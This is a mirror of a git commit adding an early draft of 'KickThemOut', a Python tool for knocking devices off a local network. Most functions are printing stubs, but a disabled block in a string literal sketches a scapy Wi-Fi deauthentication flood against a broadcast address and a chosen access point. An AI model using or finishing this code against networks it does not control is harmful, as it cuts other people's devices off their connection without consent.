mirror of
https://github.com/k4m4/kickthemout.git
synced 2024-11-22 13:04:25 +01:00
commit
db45d761e6
138
kickthemout.py
Normal file
138
kickthemout.py
Normal file
@ -0,0 +1,138 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# -.- coding: utf-8 -.-
|
||||||
|
# kickthemout.py
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com)
|
||||||
|
See License at nikolaskama.me (https://nikolaskama.me/onioffproject)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import time, os, sys, logging
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
|
||||||
|
|
||||||
|
def heading():
|
||||||
|
print(GREEN + """
|
||||||
|
█ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀
|
||||||
|
█▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █
|
||||||
|
█▀▄ ██ █ ▀ █▀▄ █ ██▀▀█ ██▄▄ █ ▄ █ █ █ █ █ █
|
||||||
|
█ █ ▐█ █▄ ▄▀ █ █ █ █ █ █▄ ▄▀ █ █ ▀████ █ █ █
|
||||||
|
█ ▐ ▀███▀ █ ▀ █ ▀███▀ █ █▄ ▄█ ▀
|
||||||
|
▀ ▀ ▀ ▀ ▀▀▀
|
||||||
|
""" + END + BLUE +
|
||||||
|
'\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(88) +
|
||||||
|
'\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(87) +
|
||||||
|
'\n' + 'Version: {0}0.1{1}'.format(YELLOW, END).center(77))
|
||||||
|
|
||||||
|
def optionBanner():
|
||||||
|
print('\nChoose option from menu:\n')
|
||||||
|
print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
|
sleep(0.2)
|
||||||
|
print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
|
sleep(0.2)
|
||||||
|
print('\t{0}[{1}3{2}]{3} Kick ALL Off').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
|
sleep(0.2)
|
||||||
|
print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
|
|
||||||
|
def kickoneoff():
|
||||||
|
print('kickoneoff')
|
||||||
|
|
||||||
|
def kicksomeoff():
|
||||||
|
print('kicksomeoff')
|
||||||
|
|
||||||
|
def kickalloff():
|
||||||
|
print('kickalloff')
|
||||||
|
|
||||||
|
"""
|
||||||
|
def deauth_attack(iface, bssid):
|
||||||
|
|
||||||
|
client = 'FF:FF:FF:FF:FF:FF'
|
||||||
|
|
||||||
|
conf.iface = iface
|
||||||
|
conf.verb = 0
|
||||||
|
packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,
|
||||||
|
addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
|
||||||
|
|
||||||
|
print('\nChoose option from menu:\n')
|
||||||
|
print('\t{0}[{1}1{2}]{3} Kick Once').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
|
sleep(0.2)
|
||||||
|
print('\t{0}[{1}2{2}]{3} Keep Kicking').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
|
sleep(0.2)
|
||||||
|
|
||||||
|
choice = None
|
||||||
|
while choice == None:
|
||||||
|
header = ('\n{0}kickthemout{1}> '.format(BLUE, WHITE))
|
||||||
|
choice = raw_input(header)
|
||||||
|
if choice == '1':
|
||||||
|
pcounter_header = ('{0}kickthemout{1}> numofpackets: '.format(BLUE, WHITE))
|
||||||
|
pcounter = raw_input(pcounter_header)
|
||||||
|
print(pcounter) # {TESTING}
|
||||||
|
packets_sent = 0
|
||||||
|
for i in range(int(pcounter)):
|
||||||
|
sendp(packet)
|
||||||
|
packets_sent += 1
|
||||||
|
print 'Deauth sent via: ' + iface + ' to BSSID: ' + bssid + '.\nPackets sent: ' + str(packets_sent)
|
||||||
|
sleep(2)
|
||||||
|
elif choice == '2':
|
||||||
|
time_header = ('{0}kickthemout{1}> keepkickingfor(mins): '.format(BLUE, WHITE))
|
||||||
|
attack_time = float(raw_input(time_header))
|
||||||
|
start = time.time()
|
||||||
|
packets_sent = 0
|
||||||
|
while (time.time() - start) != attack_time:
|
||||||
|
sendp(packet)
|
||||||
|
packets_sent += 1
|
||||||
|
print 'Deauth sent via: ' + iface + ' to BSSID: ' + bssid + '.\nPackets sent: ' + str(packets_sent)
|
||||||
|
sleep(2)
|
||||||
|
else:
|
||||||
|
choice = None
|
||||||
|
print('*INVALID OPTION*') # {TESTING}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def main():
|
||||||
|
|
||||||
|
heading()
|
||||||
|
|
||||||
|
try:
|
||||||
|
# CHECK FOR WIRELESS CARD
|
||||||
|
iface_header = ('\n{0}kickthemout{1}> interface: '.format(BLUE, WHITE))
|
||||||
|
iface = raw_input(iface_header)
|
||||||
|
|
||||||
|
# SCAN (AIRODUMP-NG) & PARSE (BSSIDs)
|
||||||
|
# ...
|
||||||
|
|
||||||
|
bssid_header = ('{0}kickthemout{1}> bssid: '.format(BLUE, WHITE))
|
||||||
|
bssid = raw_input(bssid_header) # {TESTING}
|
||||||
|
|
||||||
|
while True:
|
||||||
|
|
||||||
|
optionBanner()
|
||||||
|
|
||||||
|
header = ('{0}kickthemout{1}> '.format(BLUE, WHITE))
|
||||||
|
choice = raw_input(header)
|
||||||
|
|
||||||
|
if choice.upper() == 'E' or choice.upper() == 'EXIT':
|
||||||
|
print('Thanks for dropping by!')
|
||||||
|
print('Catch ya later!')
|
||||||
|
raise SystemExit
|
||||||
|
elif choice == '1':
|
||||||
|
kickoneoff()
|
||||||
|
# EXECUTE kickoneoff FUNCTION (SCAN & PARSE)
|
||||||
|
elif choice == '2':
|
||||||
|
kicksomeoff()
|
||||||
|
# EXECUTE kicksomeoff FUNCTION
|
||||||
|
elif choice == '3':
|
||||||
|
kickalloff()
|
||||||
|
# EXECUTE kickalloff FUNCTION (FF:FF:FF:FF:FF:FF)
|
||||||
|
elif choice.upper() == 'CLEAR':
|
||||||
|
os.system("clear||cls")
|
||||||
|
#else:
|
||||||
|
#print('*INVALID OPTION*')
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print('\nThanks for dropping by.'
|
||||||
|
'\nCatch ya later!')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
Loading…
Reference in New Issue
Block a user